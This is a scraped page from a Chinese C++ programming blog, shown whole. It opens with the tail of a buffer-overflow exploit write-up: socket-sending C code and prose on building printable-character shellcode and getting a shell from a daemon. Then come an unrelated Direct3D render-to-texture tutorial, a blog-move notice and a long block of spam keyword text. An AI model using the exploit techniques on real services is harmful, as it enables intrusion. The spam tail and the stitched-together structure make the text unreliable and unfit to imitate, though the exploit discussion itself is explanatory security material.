                send(s, "\xCC\xC3",2,0);
                Sleep(-1);
                WSACleanup();
            }

                這里兩段shellcode,我們主要解決第一步的問題。要說明malicious到底是個什么東西,
            牽扯的面就太廣了,我們假設看文章的木匠都是有匯編功底的,而且愿意反匯編進去看一下,
            就簡單的提提,因為要寫這個shellcode的構造,那又是一篇文章。shellcode里面首先平衡
            棧,然后對棧進行一些patch,patch出想要的指令,然后對后續數據進行解碼操作,最后再執
            行。

                這個code,運行順利可以抓到一個0xCC,也就是第二個send的。但是,ret后守護進程還
            是掛了。

                為了美觀,我們exp的工作必須重頭再來。開始我們把姿態定得很低,目的是說明問題,
            現在把最重要的幾步都解決了,又回到了原點,各位木匠們,現在可以動起手來寫一下完全符
            合可見字符編碼的,復用當前SOCKET的第二段shellcode了。按照前面的步驟,應該不是很難
            的事情,讓守護進程不掛也是可以的,malicious代碼保留了革命的火種,發生溢出時的寄存
            器值,都保留在上面,剩下一點工作,只是比寫普通shellcode稍微多費點勁的活,不想試試看
            么。

                最后再賣個關子,棺材木匠說過,最終是可以由telnet提交的獲得shell,連exp都不用的。
            telnet是一個字符一個字符提交的,有沒有什么一次性提交203個字節導致第一次溢出呢?可
            以的,守護進程只有一個線程,打打這方面的主意,用個小技巧吧。

            -EOF-

            posted @ 2008-08-15 09:24 Condor 閱讀(215) | 評論 (0)編輯 收藏

            渲染到紋理是D3D中的一項高級技術。一方面,它很簡單,另一方面它很強大并能產生很多特殊效果。 比如說發光效果,環境映射,陰影映射,都可以通過它來實現。渲染到紋理只是渲染到表面的一個延伸。我們只需再加些東西就可以了。首先,我們要創造一個紋理,并且做好一些防范措施。第二步我們就可以把適當的場景渲染到我們創建的紋理上了。然后,我們把這個紋理用在最后的渲染上。

              ?main.cpp

              首先我們得聲明所需要的對象。當然我們需要一張用來渲染的紋理。此外,我們還需要兩個Surface對象。一個是用來存儲后臺緩沖區,一個用來當紋理的渲染對象。后面我再詳細介紹它們。另外我們還需要兩個矩陣,一個是用來當紋理的投影矩陣,另一個是存儲原來的矩陣。

              LPDIRECT3DTEXTURE9 pRenderTexture = NULL;

              LPDIRECT3DSURFACE9 pRenderSurface = NULL,pBackBuffer = NULL;

              D3DXMATRIX matProjection,matOldProjection;

              現在我們來創建紋理。前兩個參數是紋理的寬度和高度,第三個參數是紋理的多級漸進紋理序列參數,在這里是設為1,第四個參數非常重要而且必須設為D3DUSAGE_RENDERTARGET,表明我們所創建的紋理是用來渲染的。剩下的參數就是指紋理格式,頂點緩沖區的內存位置,和一個指向紋理的指針。當紋理是用來當渲染對象時,頂點緩沖區的內存位置必須設為D3D_DEFAILT。

              g_App.GetDevice()->CreateTexture(256,256,1,D3DUSAGE_RENDERTARGET,D3DFMT_R5G6B5,D3DPOOL_DEFAULT,&pRenderTexture,NULL);

              為了訪問紋理內存對象,我們需要一個Surface對象,因為D3D中的紋理是用這樣的一個Surface來存儲紋理數據的。為了得到紋理表面的Surface,我們需要調用方法GetSurfaceLevel() 。第一個參數我們設為0,第二個參數為一個指向surface對象的指針。

              pRenderTexture->GetSurfaceLevel(0,&pRenderSurface);

              下一步就是創建一個適合紋理維數的投影矩陣,因為紋理的橫縱比和后臺緩沖區的不一樣。

              D3DXMatrixPerspectiveFovLH(&matProjection,D3DX_PI / 4.0f,1,1,100);

              在我們的循環渲染之前,我們必須保存后臺緩沖區和它的投影矩陣。

              g_App.GetDevice()->GetTransform(D3DTS_PROJECTION,&matOldProjection);

              g_App.GetDevice()->GetRenderTarget(0,&pBackBuffer);

              渲染循環函數可以分為兩個部分。第一部分是渲染到紋理的過程。因此,渲染對象必須設為紋理表面。然后我們就可以把東西渲染到這個對象上了。渲染到另一個表面上和正常地渲染到后臺緩沖區差不多。只有一點不同,那就是先不調用Prensent()函數,因為紋理上的內容并不需要顯示在屏幕上。象平時一樣,我們先要重置表面顏色緩沖區,并且調用BeginSence()和EndSence()方法。為了能夠適當的渲染,我們必須設置和紋理表面相符的投影矩陣。否則最后的圖象可能被扭曲

              //render-to-texture

              g_App.GetDevice()->SetRenderTarget(0,pRenderSurface); //set new render target

              g_App.GetDevice()->Clear(0,NULL,D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER,D3DCOLOR_XRGB(100,100,100),1.0f,0); //clear texture

              g_App.GetDevice()->BeginScene();

              g_App.GetDevice()->SetTexture(0,pPyramideTexture);

              D3DXMatrixRotationY(&matRotationY,fRotation);

              D3DXMatrixTranslation(&matTranslation,0.0f,0.0f,5.0f);

              g_App.GetDevice()->SetTransform(D3DTS_WORLD,&(matRotationY * matTranslation));

              g_App.GetDevice()->SetTransform(D3DTS_PROJECTION,&matProjection); //set projection matrix

              g_App.GetDevice()->SetStreamSource(0,pTriangleVB,0,sizeof(D3DVERTEX));

              g_App.GetDevice()->DrawPrimitive(D3DPT_TRIANGLELIST,0,4);

              g_App.GetDevice()->EndScene();

              渲染循環的第二部分就是渲染最后場景的過程(也就是顯示到屏幕上的過程)。渲染對象重新設為后臺緩沖區,投影矩陣重新設為原來的投影矩陣。由于紋理已經準備好了,所以它和紋理層0相關聯。

              //render scene with texture

              g_App.GetDevice()->SetRenderTarget(0,pBackBuffer); //set back buffer

              g_App.GetDevice()->Clear(0,NULL,D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER,D3DCOLOR_XRGB(0,0,0),1.0f,0);

              g_App.GetDevice()->BeginScene();

              g_App.GetDevice()->SetTexture(0,pRenderTexture); //set rendered texture

              g_App.GetDevice()->SetTransform(D3DTS_WORLD,&matTranslation);

              g_App.GetDevice()->SetTransform(D3DTS_PROJECTION,&matOldProjection); //restore projection matrix

              g_App.GetDevice()->SetStreamSource(0,pQuadVB,0,sizeof(D3DVERTEX));

              g_App.GetDevice()->DrawPrimitive(D3DPT_TRIANGLESTRIP,0,2);

              g_App.GetDevice()->EndScene();

              g_App.GetDevice()->Present(NULL,NULL,NULL,NULL);

              最后我們通過調用Release()方法釋放Surface對象。

              pRenderSurface->Release();

              pRenderSurface = NULL;

              pBackBuffer->Release();

              pBackBuffer = NULL;

              渲染到紋理能讓你做很多事情,但是你必須注意一些限制。首先深度緩沖區必須總是大于或等于渲染對象的大小。此外,渲染對象和深度緩沖區的格式必須一致。

            posted @ 2008-08-14 19:23 Condor 閱讀(672) | 評論 (0)編輯 收藏

            原來的Blogs在博客園上,http://www.cnblogs.com/flying_bat 不過看博客園上的兄弟全是搞.net的,.net用的比較少,一直想搬家到cppblog上來,一直沒有時間,現在有空了.
            大家祝賀下吧!

            posted @ 2008-08-11 22:01 Condor 閱讀(1023) | 評論 (4)編輯 收藏

            僅列出標題
            共10頁: First 2 3 4 5 6 7 8 9 10 
            精品久久久久久无码不卡| 久久九色综合九色99伊人| 蜜臀久久99精品久久久久久小说 | 99久久伊人精品综合观看| 久久亚洲中文字幕精品一区| 亚洲国产精品高清久久久| 久久精品国产99久久香蕉| 久久久久免费精品国产| 国产精品免费看久久久香蕉| 久久精品国产精品亚洲毛片| 久久这里的只有是精品23| 9久久9久久精品| 久久人人爽爽爽人久久久| 久久亚洲2019中文字幕| 一级做a爰片久久毛片人呢| 国内精品综合久久久40p| 一本大道久久东京热无码AV | 久久久久人妻一区二区三区vr| 国产精品成人精品久久久| 久久久久人妻一区二区三区vr| 久久综合给合综合久久| Xx性欧美肥妇精品久久久久久| 精品国际久久久久999波多野| 日韩精品久久久久久久电影| 久久综合成人网| 欧美粉嫩小泬久久久久久久| 精品久久久久中文字| 国产高潮久久免费观看| 国产精品激情综合久久| 日本三级久久网| 成人国内精品久久久久影院VR| 久久99精品国产一区二区三区| 99久久99久久| 国产精品午夜久久| 久久久久亚洲AV成人网| 国产激情久久久久影院小草| 狠狠色丁香婷婷综合久久来来去 | 国内精品久久久久久99| 91精品国产色综合久久| 久久免费高清视频| 热综合一本伊人久久精品|